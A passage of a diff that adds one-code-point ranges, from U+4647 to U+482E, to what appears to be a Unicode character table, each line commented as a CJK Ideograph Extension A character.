+ [0x4647, 0x4647], /* CJK Ideograph Extension A */
+ [0x4648, 0x4648], /* CJK Ideograph Extension A */
+ [0x4649, 0x4649], /* CJK Ideograph Extension A */
+ [0x464a, 0x464a], /* CJK Ideograph Extension A */
+ [0x464b, 0x464b], /* CJK Ideograph Extension A */
+ [0x464c, 0x464c], /* CJK Ideograph Extension A */
+ [0x464d, 0x464d], /* CJK Ideograph Extension A */
+ [0x464e, 0x464e], /* CJK Ideograph Extension A */
+ [0x464f, 0x464f], /* CJK Ideograph Extension A */
+ [0x4650, 0x4650], /* CJK Ideograph Extension A */
+ [0x4651, 0x4651], /* CJK Ideograph Extension A */
+ [0x4652, 0x4652], /* CJK Ideograph Extension A */
+ [0x4653, 0x4653], /* CJK Ideograph Extension A */
+ [0x4654, 0x4654], /* CJK Ideograph Extension A */
+ [0x4655, 0x4655], /* CJK Ideograph Extension A */
+ [0x4656, 0x4656], /* CJK Ideograph Extension A */
+ [0x4657, 0x4657], /* CJK Ideograph Extension A */
+ [0x4658, 0x4658], /* CJK Ideograph Extension A */
+ [0x4659, 0x4659], /* CJK Ideograph Extension A */
+ [0x465a, 0x465a], /* CJK Ideograph Extension A */
+ [0x465b, 0x465b], /* CJK Ideograph Extension A */
+ [0x465c, 0x465c], /* CJK Ideograph Extension A */
+ [0x465d, 0x465d], /* CJK Ideograph Extension A */
+ [0x465e, 0x465e], /* CJK Ideograph Extension A */
+ [0x465f, 0x465f], /* CJK Ideograph Extension A */
+ [0x4660, 0x4660], /* CJK Ideograph Extension A */
+ [0x4661, 0x4661], /* CJK Ideograph Extension A */
+ [0x4662, 0x4662], /* CJK Ideograph Extension A */
+ [0x4663, 0x4663], /* CJK Ideograph Extension A */
+ [0x4664, 0x4664], /* CJK Ideograph Extension A */
+ [0x4665, 0x4665], /* CJK Ideograph Extension A */
+ [0x4666, 0x4666], /* CJK Ideograph Extension A */
+ [0x4667, 0x4667], /* CJK Ideograph Extension A */
+ [0x4668, 0x4668], /* CJK Ideograph Extension A */
+ [0x4669, 0x4669], /* CJK Ideograph Extension A */
+ [0x466a, 0x466a], /* CJK Ideograph Extension A */
+ [0x466b, 0x466b], /* CJK Ideograph Extension A */
+ [0x466c, 0x466c], /* CJK Ideograph Extension A */
+ [0x466d, 0x466d], /* CJK Ideograph Extension A */
+ [0x466e, 0x466e], /* CJK Ideograph Extension A */
+ [0x466f, 0x466f], /* CJK Ideograph Extension A */
+ [0x4670, 0x4670], /* CJK Ideograph Extension A */
+ [0x4671, 0x4671], /* CJK Ideograph Extension A */
+ [0x4672, 0x4672], /* CJK Ideograph Extension A */
+ [0x4673, 0x4673], /* CJK Ideograph Extension A */
+ [0x4674, 0x4674], /* CJK Ideograph Extension A */
+ [0x4675, 0x4675], /* CJK Ideograph Extension A */
+ [0x4676, 0x4676], /* CJK Ideograph Extension A */
+ [0x4677, 0x4677], /* CJK Ideograph Extension A */
+ [0x4678, 0x4678], /* CJK Ideograph Extension A */
+ [0x4679, 0x4679], /* CJK Ideograph Extension A */
+ [0x467a, 0x467a], /* CJK Ideograph Extension A */
+ [0x467b, 0x467b], /* CJK Ideograph Extension A */
+ [0x467c, 0x467c], /* CJK Ideograph Extension A */
+ [0x467d, 0x467d], /* CJK Ideograph Extension A */
+ [0x467e, 0x467e], /* CJK Ideograph Extension A */
+ [0x467f, 0x467f], /* CJK Ideograph Extension A */
+ [0x4680, 0x4680], /* CJK Ideograph Extension A */
+ [0x4681, 0x4681], /* CJK Ideograph Extension A */
+ [0x4682, 0x4682], /* CJK Ideograph Extension A */
+ [0x4683, 0x4683], /* CJK Ideograph Extension A */
+ [0x4684, 0x4684], /* CJK Ideograph Extension A */
+ [0x4685, 0x4685], /* CJK Ideograph Extension A */
+ [0x4686, 0x4686], /* CJK Ideograph Extension A */
+ [0x4687, 0x4687], /* CJK Ideograph Extension A */
+ [0x4688, 0x4688], /* CJK Ideograph Extension A */
+ [0x4689, 0x4689], /* CJK Ideograph Extension A */
+ [0x468a, 0x468a], /* CJK Ideograph Extension A */
+ [0x468b, 0x468b], /* CJK Ideograph Extension A */
+ [0x468c, 0x468c], /* CJK Ideograph Extension A */
+ [0x468d, 0x468d], /* CJK Ideograph Extension A */
+ [0x468e, 0x468e], /* CJK Ideograph Extension A */
+ [0x468f, 0x468f], /* CJK Ideograph Extension A */
+ [0x4690, 0x4690], /* CJK Ideograph Extension A */
+ [0x4691, 0x4691], /* CJK Ideograph Extension A */
+ [0x4692, 0x4692], /* CJK Ideograph Extension A */
+ [0x4693, 0x4693], /* CJK Ideograph Extension A */
+ [0x4694, 0x4694], /* CJK Ideograph Extension A */
+ [0x4695, 0x4695], /* CJK Ideograph Extension A */
+ [0x4696, 0x4696], /* CJK Ideograph Extension A */
+ [0x4697, 0x4697], /* CJK Ideograph Extension A */
+ [0x4698, 0x4698], /* CJK Ideograph Extension A */
+ [0x4699, 0x4699], /* CJK Ideograph Extension A */
+ [0x469a, 0x469a], /* CJK Ideograph Extension A */
+ [0x469b, 0x469b], /* CJK Ideograph Extension A */
+ [0x469c, 0x469c], /* CJK Ideograph Extension A */
+ [0x469d, 0x469d], /* CJK Ideograph Extension A */
+ [0x469e, 0x469e], /* CJK Ideograph Extension A */
+ [0x469f, 0x469f], /* CJK Ideograph Extension A */
+ [0x46a0, 0x46a0], /* CJK Ideograph Extension A */
+ [0x46a1, 0x46a1], /* CJK Ideograph Extension A */
+ [0x46a2, 0x46a2], /* CJK Ideograph Extension A */
+ [0x46a3, 0x46a3], /* CJK Ideograph Extension A */
+ [0x46a4, 0x46a4], /* CJK Ideograph Extension A */
+ [0x46a5, 0x46a5], /* CJK Ideograph Extension A */
+ [0x46a6, 0x46a6], /* CJK Ideograph Extension A */
+ [0x46a7, 0x46a7], /* CJK Ideograph Extension A */
+ [0x46a8, 0x46a8], /* CJK Ideograph Extension A */
+ [0x46a9, 0x46a9], /* CJK Ideograph Extension A */
+ [0x46aa, 0x46aa], /* CJK Ideograph Extension A */
+ [0x46ab, 0x46ab], /* CJK Ideograph Extension A */
+ [0x46ac, 0x46ac], /* CJK Ideograph Extension A */
+ [0x46ad, 0x46ad], /* CJK Ideograph Extension A */
+ [0x46ae, 0x46ae], /* CJK Ideograph Extension A */
+ [0x46af, 0x46af], /* CJK Ideograph Extension A */
+ [0x46b0, 0x46b0], /* CJK Ideograph Extension A */
+ [0x46b1, 0x46b1], /* CJK Ideograph Extension A */
+ [0x46b2, 0x46b2], /* CJK Ideograph Extension A */
+ [0x46b3, 0x46b3], /* CJK Ideograph Extension A */
+ [0x46b4, 0x46b4], /* CJK Ideograph Extension A */
+ [0x46b5, 0x46b5], /* CJK Ideograph Extension A */
+ [0x46b6, 0x46b6], /* CJK Ideograph Extension A */
+ [0x46b7, 0x46b7], /* CJK Ideograph Extension A */
+ [0x46b8, 0x46b8], /* CJK Ideograph Extension A */
+ [0x46b9, 0x46b9], /* CJK Ideograph Extension A */
+ [0x46ba, 0x46ba], /* CJK Ideograph Extension A */
+ [0x46bb, 0x46bb], /* CJK Ideograph Extension A */
+ [0x46bc, 0x46bc], /* CJK Ideograph Extension A */
+ [0x46bd, 0x46bd], /* CJK Ideograph Extension A */
+ [0x46be, 0x46be], /* CJK Ideograph Extension A */
+ [0x46bf, 0x46bf], /* CJK Ideograph Extension A */
+ [0x46c0, 0x46c0], /* CJK Ideograph Extension A */
+ [0x46c1, 0x46c1], /* CJK Ideograph Extension A */
+ [0x46c2, 0x46c2], /* CJK Ideograph Extension A */
+ [0x46c3, 0x46c3], /* CJK Ideograph Extension A */
+ [0x46c4, 0x46c4], /* CJK Ideograph Extension A */
+ [0x46c5, 0x46c5], /* CJK Ideograph Extension A */
+ [0x46c6, 0x46c6], /* CJK Ideograph Extension A */
+ [0x46c7, 0x46c7], /* CJK Ideograph Extension A */
+ [0x46c8, 0x46c8], /* CJK Ideograph Extension A */
+ [0x46c9, 0x46c9], /* CJK Ideograph Extension A */
+ [0x46ca, 0x46ca], /* CJK Ideograph Extension A */
+ [0x46cb, 0x46cb], /* CJK Ideograph Extension A */
+ [0x46cc, 0x46cc], /* CJK Ideograph Extension A */
+ [0x46cd, 0x46cd], /* CJK Ideograph Extension A */
+ [0x46ce, 0x46ce], /* CJK Ideograph Extension A */
+ [0x46cf, 0x46cf], /* CJK Ideograph Extension A */
+ [0x46d0, 0x46d0], /* CJK Ideograph Extension A */
+ [0x46d1, 0x46d1], /* CJK Ideograph Extension A */
+ [0x46d2, 0x46d2], /* CJK Ideograph Extension A */
+ [0x46d3, 0x46d3], /* CJK Ideograph Extension A */
+ [0x46d4, 0x46d4], /* CJK Ideograph Extension A */
+ [0x46d5, 0x46d5], /* CJK Ideograph Extension A */
+ [0x46d6, 0x46d6], /* CJK Ideograph Extension A */
+ [0x46d7, 0x46d7], /* CJK Ideograph Extension A */
+ [0x46d8, 0x46d8], /* CJK Ideograph Extension A */
+ [0x46d9, 0x46d9], /* CJK Ideograph Extension A */
+ [0x46da, 0x46da], /* CJK Ideograph Extension A */
+ [0x46db, 0x46db], /* CJK Ideograph Extension A */
+ [0x46dc, 0x46dc], /* CJK Ideograph Extension A */
+ [0x46dd, 0x46dd], /* CJK Ideograph Extension A */
+ [0x46de, 0x46de], /* CJK Ideograph Extension A */
+ [0x46df, 0x46df], /* CJK Ideograph Extension A */
+ [0x46e0, 0x46e0], /* CJK Ideograph Extension A */
+ [0x46e1, 0x46e1], /* CJK Ideograph Extension A */
+ [0x46e2, 0x46e2], /* CJK Ideograph Extension A */
+ [0x46e3, 0x46e3], /* CJK Ideograph Extension A */
+ [0x46e4, 0x46e4], /* CJK Ideograph Extension A */
+ [0x46e5, 0x46e5], /* CJK Ideograph Extension A */
+ [0x46e6, 0x46e6], /* CJK Ideograph Extension A */
+ [0x46e7, 0x46e7], /* CJK Ideograph Extension A */
+ [0x46e8, 0x46e8], /* CJK Ideograph Extension A */
+ [0x46e9, 0x46e9], /* CJK Ideograph Extension A */
+ [0x46ea, 0x46ea], /* CJK Ideograph Extension A */
+ [0x46eb, 0x46eb], /* CJK Ideograph Extension A */
+ [0x46ec, 0x46ec], /* CJK Ideograph Extension A */
+ [0x46ed, 0x46ed], /* CJK Ideograph Extension A */
+ [0x46ee, 0x46ee], /* CJK Ideograph Extension A */
+ [0x46ef, 0x46ef], /* CJK Ideograph Extension A */
+ [0x46f0, 0x46f0], /* CJK Ideograph Extension A */
+ [0x46f1, 0x46f1], /* CJK Ideograph Extension A */
+ [0x46f2, 0x46f2], /* CJK Ideograph Extension A */
+ [0x46f3, 0x46f3], /* CJK Ideograph Extension A */
+ [0x46f4, 0x46f4], /* CJK Ideograph Extension A */
+ [0x46f5, 0x46f5], /* CJK Ideograph Extension A */
+ [0x46f6, 0x46f6], /* CJK Ideograph Extension A */
+ [0x46f7, 0x46f7], /* CJK Ideograph Extension A */
+ [0x46f8, 0x46f8], /* CJK Ideograph Extension A */
+ [0x46f9, 0x46f9], /* CJK Ideograph Extension A */
+ [0x46fa, 0x46fa], /* CJK Ideograph Extension A */
+ [0x46fb, 0x46fb], /* CJK Ideograph Extension A */
+ [0x46fc, 0x46fc], /* CJK Ideograph Extension A */
+ [0x46fd, 0x46fd], /* CJK Ideograph Extension A */
+ [0x46fe, 0x46fe], /* CJK Ideograph Extension A */
+ [0x46ff, 0x46ff], /* CJK Ideograph Extension A */
+ [0x4700, 0x4700], /* CJK Ideograph Extension A */
+ [0x4701, 0x4701], /* CJK Ideograph Extension A */
+ [0x4702, 0x4702], /* CJK Ideograph Extension A */
+ [0x4703, 0x4703], /* CJK Ideograph Extension A */
+ [0x4704, 0x4704], /* CJK Ideograph Extension A */
+ [0x4705, 0x4705], /* CJK Ideograph Extension A */
+ [0x4706, 0x4706], /* CJK Ideograph Extension A */
+ [0x4707, 0x4707], /* CJK Ideograph Extension A */
+ [0x4708, 0x4708], /* CJK Ideograph Extension A */
+ [0x4709, 0x4709], /* CJK Ideograph Extension A */
+ [0x470a, 0x470a], /* CJK Ideograph Extension A */
+ [0x470b, 0x470b], /* CJK Ideograph Extension A */
+ [0x470c, 0x470c], /* CJK Ideograph Extension A */
+ [0x470d, 0x470d], /* CJK Ideograph Extension A */
+ [0x470e, 0x470e], /* CJK Ideograph Extension A */
+ [0x470f, 0x470f], /* CJK Ideograph Extension A */
+ [0x4710, 0x4710], /* CJK Ideograph Extension A */
+ [0x4711, 0x4711], /* CJK Ideograph Extension A */
+ [0x4712, 0x4712], /* CJK Ideograph Extension A */
+ [0x4713, 0x4713], /* CJK Ideograph Extension A */
+ [0x4714, 0x4714], /* CJK Ideograph Extension A */
+ [0x4715, 0x4715], /* CJK Ideograph Extension A */
+ [0x4716, 0x4716], /* CJK Ideograph Extension A */
+ [0x4717, 0x4717], /* CJK Ideograph Extension A */
+ [0x4718, 0x4718], /* CJK Ideograph Extension A */
+ [0x4719, 0x4719], /* CJK Ideograph Extension A */
+ [0x471a, 0x471a], /* CJK Ideograph Extension A */
+ [0x471b, 0x471b], /* CJK Ideograph Extension A */
+ [0x471c, 0x471c], /* CJK Ideograph Extension A */
+ [0x471d, 0x471d], /* CJK Ideograph Extension A */
+ [0x471e, 0x471e], /* CJK Ideograph Extension A */
+ [0x471f, 0x471f], /* CJK Ideograph Extension A */
+ [0x4720, 0x4720], /* CJK Ideograph Extension A */
+ [0x4721, 0x4721], /* CJK Ideograph Extension A */
+ [0x4722, 0x4722], /* CJK Ideograph Extension A */
+ [0x4723, 0x4723], /* CJK Ideograph Extension A */
+ [0x4724, 0x4724], /* CJK Ideograph Extension A */
+ [0x4725, 0x4725], /* CJK Ideograph Extension A */
+ [0x4726, 0x4726], /* CJK Ideograph Extension A */
+ [0x4727, 0x4727], /* CJK Ideograph Extension A */
+ [0x4728, 0x4728], /* CJK Ideograph Extension A */
+ [0x4729, 0x4729], /* CJK Ideograph Extension A */
+ [0x472a, 0x472a], /* CJK Ideograph Extension A */
+ [0x472b, 0x472b], /* CJK Ideograph Extension A */
+ [0x472c, 0x472c], /* CJK Ideograph Extension A */
+ [0x472d, 0x472d], /* CJK Ideograph Extension A */
+ [0x472e, 0x472e], /* CJK Ideograph Extension A */
+ [0x472f, 0x472f], /* CJK Ideograph Extension A */
+ [0x4730, 0x4730], /* CJK Ideograph Extension A */
+ [0x4731, 0x4731], /* CJK Ideograph Extension A */
+ [0x4732, 0x4732], /* CJK Ideograph Extension A */
+ [0x4733, 0x4733], /* CJK Ideograph Extension A */
+ [0x4734, 0x4734], /* CJK Ideograph Extension A */
+ [0x4735, 0x4735], /* CJK Ideograph Extension A */
+ [0x4736, 0x4736], /* CJK Ideograph Extension A */
+ [0x4737, 0x4737], /* CJK Ideograph Extension A */
+ [0x4738, 0x4738], /* CJK Ideograph Extension A */
+ [0x4739, 0x4739], /* CJK Ideograph Extension A */
+ [0x473a, 0x473a], /* CJK Ideograph Extension A */
+ [0x473b, 0x473b], /* CJK Ideograph Extension A */
+ [0x473c, 0x473c], /* CJK Ideograph Extension A */
+ [0x473d, 0x473d], /* CJK Ideograph Extension A */
+ [0x473e, 0x473e], /* CJK Ideograph Extension A */
+ [0x473f, 0x473f], /* CJK Ideograph Extension A */
+ [0x4740, 0x4740], /* CJK Ideograph Extension A */
+ [0x4741, 0x4741], /* CJK Ideograph Extension A */
+ [0x4742, 0x4742], /* CJK Ideograph Extension A */
+ [0x4743, 0x4743], /* CJK Ideograph Extension A */
+ [0x4744, 0x4744], /* CJK Ideograph Extension A */
+ [0x4745, 0x4745], /* CJK Ideograph Extension A */
+ [0x4746, 0x4746], /* CJK Ideograph Extension A */
+ [0x4747, 0x4747], /* CJK Ideograph Extension A */
+ [0x4748, 0x4748], /* CJK Ideograph Extension A */
+ [0x4749, 0x4749], /* CJK Ideograph Extension A */
+ [0x474a, 0x474a], /* CJK Ideograph Extension A */
+ [0x474b, 0x474b], /* CJK Ideograph Extension A */
+ [0x474c, 0x474c], /* CJK Ideograph Extension A */
+ [0x474d, 0x474d], /* CJK Ideograph Extension A */
+ [0x474e, 0x474e], /* CJK Ideograph Extension A */
+ [0x474f, 0x474f], /* CJK Ideograph Extension A */
+ [0x4750, 0x4750], /* CJK Ideograph Extension A */
+ [0x4751, 0x4751], /* CJK Ideograph Extension A */
+ [0x4752, 0x4752], /* CJK Ideograph Extension A */
+ [0x4753, 0x4753], /* CJK Ideograph Extension A */
+ [0x4754, 0x4754], /* CJK Ideograph Extension A */
+ [0x4755, 0x4755], /* CJK Ideograph Extension A */
+ [0x4756, 0x4756], /* CJK Ideograph Extension A */
+ [0x4757, 0x4757], /* CJK Ideograph Extension A */
+ [0x4758, 0x4758], /* CJK Ideograph Extension A */
+ [0x4759, 0x4759], /* CJK Ideograph Extension A */
+ [0x475a, 0x475a], /* CJK Ideograph Extension A */
+ [0x475b, 0x475b], /* CJK Ideograph Extension A */
+ [0x475c, 0x475c], /* CJK Ideograph Extension A */
+ [0x475d, 0x475d], /* CJK Ideograph Extension A */
+ [0x475e, 0x475e], /* CJK Ideograph Extension A */
+ [0x475f, 0x475f], /* CJK Ideograph Extension A */
+ [0x4760, 0x4760], /* CJK Ideograph Extension A */
+ [0x4761, 0x4761], /* CJK Ideograph Extension A */
+ [0x4762, 0x4762], /* CJK Ideograph Extension A */
+ [0x4763, 0x4763], /* CJK Ideograph Extension A */
+ [0x4764, 0x4764], /* CJK Ideograph Extension A */
+ [0x4765, 0x4765], /* CJK Ideograph Extension A */
+ [0x4766, 0x4766], /* CJK Ideograph Extension A */
+ [0x4767, 0x4767], /* CJK Ideograph Extension A */
+ [0x4768, 0x4768], /* CJK Ideograph Extension A */
+ [0x4769, 0x4769], /* CJK Ideograph Extension A */
+ [0x476a, 0x476a], /* CJK Ideograph Extension A */
+ [0x476b, 0x476b], /* CJK Ideograph Extension A */
+ [0x476c, 0x476c], /* CJK Ideograph Extension A */
+ [0x476d, 0x476d], /* CJK Ideograph Extension A */
+ [0x476e, 0x476e], /* CJK Ideograph Extension A */
+ [0x476f, 0x476f], /* CJK Ideograph Extension A */
+ [0x4770, 0x4770], /* CJK Ideograph Extension A */
+ [0x4771, 0x4771], /* CJK Ideograph Extension A */
+ [0x4772, 0x4772], /* CJK Ideograph Extension A */
+ [0x4773, 0x4773], /* CJK Ideograph Extension A */
+ [0x4774, 0x4774], /* CJK Ideograph Extension A */
+ [0x4775, 0x4775], /* CJK Ideograph Extension A */
+ [0x4776, 0x4776], /* CJK Ideograph Extension A */
+ [0x4777, 0x4777], /* CJK Ideograph Extension A */
+ [0x4778, 0x4778], /* CJK Ideograph Extension A */
+ [0x4779, 0x4779], /* CJK Ideograph Extension A */
+ [0x477a, 0x477a], /* CJK Ideograph Extension A */
+ [0x477b, 0x477b], /* CJK Ideograph Extension A */
+ [0x477c, 0x477c], /* CJK Ideograph Extension A */
+ [0x477d, 0x477d], /* CJK Ideograph Extension A */
+ [0x477e, 0x477e], /* CJK Ideograph Extension A */
+ [0x477f, 0x477f], /* CJK Ideograph Extension A */
+ [0x4780, 0x4780], /* CJK Ideograph Extension A */
+ [0x4781, 0x4781], /* CJK Ideograph Extension A */
+ [0x4782, 0x4782], /* CJK Ideograph Extension A */
+ [0x4783, 0x4783], /* CJK Ideograph Extension A */
+ [0x4784, 0x4784], /* CJK Ideograph Extension A */
+ [0x4785, 0x4785], /* CJK Ideograph Extension A */
+ [0x4786, 0x4786], /* CJK Ideograph Extension A */
+ [0x4787, 0x4787], /* CJK Ideograph Extension A */
+ [0x4788, 0x4788], /* CJK Ideograph Extension A */
+ [0x4789, 0x4789], /* CJK Ideograph Extension A */
+ [0x478a, 0x478a], /* CJK Ideograph Extension A */
+ [0x478b, 0x478b], /* CJK Ideograph Extension A */
+ [0x478c, 0x478c], /* CJK Ideograph Extension A */
+ [0x478d, 0x478d], /* CJK Ideograph Extension A */
+ [0x478e, 0x478e], /* CJK Ideograph Extension A */
+ [0x478f, 0x478f], /* CJK Ideograph Extension A */
+ [0x4790, 0x4790], /* CJK Ideograph Extension A */
+ [0x4791, 0x4791], /* CJK Ideograph Extension A */
+ [0x4792, 0x4792], /* CJK Ideograph Extension A */
+ [0x4793, 0x4793], /* CJK Ideograph Extension A */
+ [0x4794, 0x4794], /* CJK Ideograph Extension A */
+ [0x4795, 0x4795], /* CJK Ideograph Extension A */
+ [0x4796, 0x4796], /* CJK Ideograph Extension A */
+ [0x4797, 0x4797], /* CJK Ideograph Extension A */
+ [0x4798, 0x4798], /* CJK Ideograph Extension A */
+ [0x4799, 0x4799], /* CJK Ideograph Extension A */
+ [0x479a, 0x479a], /* CJK Ideograph Extension A */
+ [0x479b, 0x479b], /* CJK Ideograph Extension A */
+ [0x479c, 0x479c], /* CJK Ideograph Extension A */
+ [0x479d, 0x479d], /* CJK Ideograph Extension A */
+ [0x479e, 0x479e], /* CJK Ideograph Extension A */
+ [0x479f, 0x479f], /* CJK Ideograph Extension A */
+ [0x47a0, 0x47a0], /* CJK Ideograph Extension A */
+ [0x47a1, 0x47a1], /* CJK Ideograph Extension A */
+ [0x47a2, 0x47a2], /* CJK Ideograph Extension A */
+ [0x47a3, 0x47a3], /* CJK Ideograph Extension A */
+ [0x47a4, 0x47a4], /* CJK Ideograph Extension A */
+ [0x47a5, 0x47a5], /* CJK Ideograph Extension A */
+ [0x47a6, 0x47a6], /* CJK Ideograph Extension A */
+ [0x47a7, 0x47a7], /* CJK Ideograph Extension A */
+ [0x47a8, 0x47a8], /* CJK Ideograph Extension A */
+ [0x47a9, 0x47a9], /* CJK Ideograph Extension A */
+ [0x47aa, 0x47aa], /* CJK Ideograph Extension A */
+ [0x47ab, 0x47ab], /* CJK Ideograph Extension A */
+ [0x47ac, 0x47ac], /* CJK Ideograph Extension A */
+ [0x47ad, 0x47ad], /* CJK Ideograph Extension A */
+ [0x47ae, 0x47ae], /* CJK Ideograph Extension A */
+ [0x47af, 0x47af], /* CJK Ideograph Extension A */
+ [0x47b0, 0x47b0], /* CJK Ideograph Extension A */
+ [0x47b1, 0x47b1], /* CJK Ideograph Extension A */
+ [0x47b2, 0x47b2], /* CJK Ideograph Extension A */
+ [0x47b3, 0x47b3], /* CJK Ideograph Extension A */
+ [0x47b4, 0x47b4], /* CJK Ideograph Extension A */
+ [0x47b5, 0x47b5], /* CJK Ideograph Extension A */
+ [0x47b6, 0x47b6], /* CJK Ideograph Extension A */
+ [0x47b7, 0x47b7], /* CJK Ideograph Extension A */
+ [0x47b8, 0x47b8], /* CJK Ideograph Extension A */
+ [0x47b9, 0x47b9], /* CJK Ideograph Extension A */
+ [0x47ba, 0x47ba], /* CJK Ideograph Extension A */
+ [0x47bb, 0x47bb], /* CJK Ideograph Extension A */
+ [0x47bc, 0x47bc], /* CJK Ideograph Extension A */
+ [0x47bd, 0x47bd], /* CJK Ideograph Extension A */
+ [0x47be, 0x47be], /* CJK Ideograph Extension A */
+ [0x47bf, 0x47bf], /* CJK Ideograph Extension A */
+ [0x47c0, 0x47c0], /* CJK Ideograph Extension A */
+ [0x47c1, 0x47c1], /* CJK Ideograph Extension A */
+ [0x47c2, 0x47c2], /* CJK Ideograph Extension A */
+ [0x47c3, 0x47c3], /* CJK Ideograph Extension A */
+ [0x47c4, 0x47c4], /* CJK Ideograph Extension A */
+ [0x47c5, 0x47c5], /* CJK Ideograph Extension A */
+ [0x47c6, 0x47c6], /* CJK Ideograph Extension A */
+ [0x47c7, 0x47c7], /* CJK Ideograph Extension A */
+ [0x47c8, 0x47c8], /* CJK Ideograph Extension A */
+ [0x47c9, 0x47c9], /* CJK Ideograph Extension A */
+ [0x47ca, 0x47ca], /* CJK Ideograph Extension A */
+ [0x47cb, 0x47cb], /* CJK Ideograph Extension A */
+ [0x47cc, 0x47cc], /* CJK Ideograph Extension A */
+ [0x47cd, 0x47cd], /* CJK Ideograph Extension A */
+ [0x47ce, 0x47ce], /* CJK Ideograph Extension A */
+ [0x47cf, 0x47cf], /* CJK Ideograph Extension A */
+ [0x47d0, 0x47d0], /* CJK Ideograph Extension A */
+ [0x47d1, 0x47d1], /* CJK Ideograph Extension A */
+ [0x47d2, 0x47d2], /* CJK Ideograph Extension A */
+ [0x47d3, 0x47d3], /* CJK Ideograph Extension A */
+ [0x47d4, 0x47d4], /* CJK Ideograph Extension A */
+ [0x47d5, 0x47d5], /* CJK Ideograph Extension A */
+ [0x47d6, 0x47d6], /* CJK Ideograph Extension A */
+ [0x47d7, 0x47d7], /* CJK Ideograph Extension A */
+ [0x47d8, 0x47d8], /* CJK Ideograph Extension A */
+ [0x47d9, 0x47d9], /* CJK Ideograph Extension A */
+ [0x47da, 0x47da], /* CJK Ideograph Extension A */
+ [0x47db, 0x47db], /* CJK Ideograph Extension A */
+ [0x47dc, 0x47dc], /* CJK Ideograph Extension A */
+ [0x47dd, 0x47dd], /* CJK Ideograph Extension A */
+ [0x47de, 0x47de], /* CJK Ideograph Extension A */
+ [0x47df, 0x47df], /* CJK Ideograph Extension A */
+ [0x47e0, 0x47e0], /* CJK Ideograph Extension A */
+ [0x47e1, 0x47e1], /* CJK Ideograph Extension A */
+ [0x47e2, 0x47e2], /* CJK Ideograph Extension A */
+ [0x47e3, 0x47e3], /* CJK Ideograph Extension A */
+ [0x47e4, 0x47e4], /* CJK Ideograph Extension A */
+ [0x47e5, 0x47e5], /* CJK Ideograph Extension A */
+ [0x47e6, 0x47e6], /* CJK Ideograph Extension A */
+ [0x47e7, 0x47e7], /* CJK Ideograph Extension A */
+ [0x47e8, 0x47e8], /* CJK Ideograph Extension A */
+ [0x47e9, 0x47e9], /* CJK Ideograph Extension A */
+ [0x47ea, 0x47ea], /* CJK Ideograph Extension A */
+ [0x47eb, 0x47eb], /* CJK Ideograph Extension A */
+ [0x47ec, 0x47ec], /* CJK Ideograph Extension A */
+ [0x47ed, 0x47ed], /* CJK Ideograph Extension A */
+ [0x47ee, 0x47ee], /* CJK Ideograph Extension A */
+ [0x47ef, 0x47ef], /* CJK Ideograph Extension A */
+ [0x47f0, 0x47f0], /* CJK Ideograph Extension A */
+ [0x47f1, 0x47f1], /* CJK Ideograph Extension A */
+ [0x47f2, 0x47f2], /* CJK Ideograph Extension A */
+ [0x47f3, 0x47f3], /* CJK Ideograph Extension A */
+ [0x47f4, 0x47f4], /* CJK Ideograph Extension A */
+ [0x47f5, 0x47f5], /* CJK Ideograph Extension A */
+ [0x47f6, 0x47f6], /* CJK Ideograph Extension A */
+ [0x47f7, 0x47f7], /* CJK Ideograph Extension A */
+ [0x47f8, 0x47f8], /* CJK Ideograph Extension A */
+ [0x47f9, 0x47f9], /* CJK Ideograph Extension A */
+ [0x47fa, 0x47fa], /* CJK Ideograph Extension A */
+ [0x47fb, 0x47fb], /* CJK Ideograph Extension A */
+ [0x47fc, 0x47fc], /* CJK Ideograph Extension A */
+ [0x47fd, 0x47fd], /* CJK Ideograph Extension A */
+ [0x47fe, 0x47fe], /* CJK Ideograph Extension A */
+ [0x47ff, 0x47ff], /* CJK Ideograph Extension A */
+ [0x4800, 0x4800], /* CJK Ideograph Extension A */
+ [0x4801, 0x4801], /* CJK Ideograph Extension A */
+ [0x4802, 0x4802], /* CJK Ideograph Extension A */
+ [0x4803, 0x4803], /* CJK Ideograph Extension A */
+ [0x4804, 0x4804], /* CJK Ideograph Extension A */
+ [0x4805, 0x4805], /* CJK Ideograph Extension A */
+ [0x4806, 0x4806], /* CJK Ideograph Extension A */
+ [0x4807, 0x4807], /* CJK Ideograph Extension A */
+ [0x4808, 0x4808], /* CJK Ideograph Extension A */
+ [0x4809, 0x4809], /* CJK Ideograph Extension A */
+ [0x480a, 0x480a], /* CJK Ideograph Extension A */
+ [0x480b, 0x480b], /* CJK Ideograph Extension A */
+ [0x480c, 0x480c], /* CJK Ideograph Extension A */
+ [0x480d, 0x480d], /* CJK Ideograph Extension A */
+ [0x480e, 0x480e], /* CJK Ideograph Extension A */
+ [0x480f, 0x480f], /* CJK Ideograph Extension A */
+ [0x4810, 0x4810], /* CJK Ideograph Extension A */
+ [0x4811, 0x4811], /* CJK Ideograph Extension A */
+ [0x4812, 0x4812], /* CJK Ideograph Extension A */
+ [0x4813, 0x4813], /* CJK Ideograph Extension A */
+ [0x4814, 0x4814], /* CJK Ideograph Extension A */
+ [0x4815, 0x4815], /* CJK Ideograph Extension A */
+ [0x4816, 0x4816], /* CJK Ideograph Extension A */
+ [0x4817, 0x4817], /* CJK Ideograph Extension A */
+ [0x4818, 0x4818], /* CJK Ideograph Extension A */
+ [0x4819, 0x4819], /* CJK Ideograph Extension A */
+ [0x481a, 0x481a], /* CJK Ideograph Extension A */
+ [0x481b, 0x481b], /* CJK Ideograph Extension A */
+ [0x481c, 0x481c], /* CJK Ideograph Extension A */
+ [0x481d, 0x481d], /* CJK Ideograph Extension A */
+ [0x481e, 0x481e], /* CJK Ideograph Extension A */
+ [0x481f, 0x481f], /* CJK Ideograph Extension A */
+ [0x4820, 0x4820], /* CJK Ideograph Extension A */
+ [0x4821, 0x4821], /* CJK Ideograph Extension A */
+ [0x4822, 0x4822], /* CJK Ideograph Extension A */
+ [0x4823, 0x4823], /* CJK Ideograph Extension A */
+ [0x4824, 0x4824], /* CJK Ideograph Extension A */
+ [0x4825, 0x4825], /* CJK Ideograph Extension A */
+ [0x4826, 0x4826], /* CJK Ideograph Extension A */
+ [0x4827, 0x4827], /* CJK Ideograph Extension A */
+ [0x4828, 0x4828], /* CJK Ideograph Extension A */
+ [0x4829, 0x4829], /* CJK Ideograph Extension A */
+ [0x482a, 0x482a], /* CJK Ideograph Extension A */
+ [0x482b, 0x482b], /* CJK Ideograph Extension A */
+ [0x482c, 0x482c], /* CJK Ideograph Extension A */
+ [0x482d, 0x482d], /* CJK Ideograph Extension A */
+ [0x482e, 0x482e], /* CJK Ideograph Extension A */
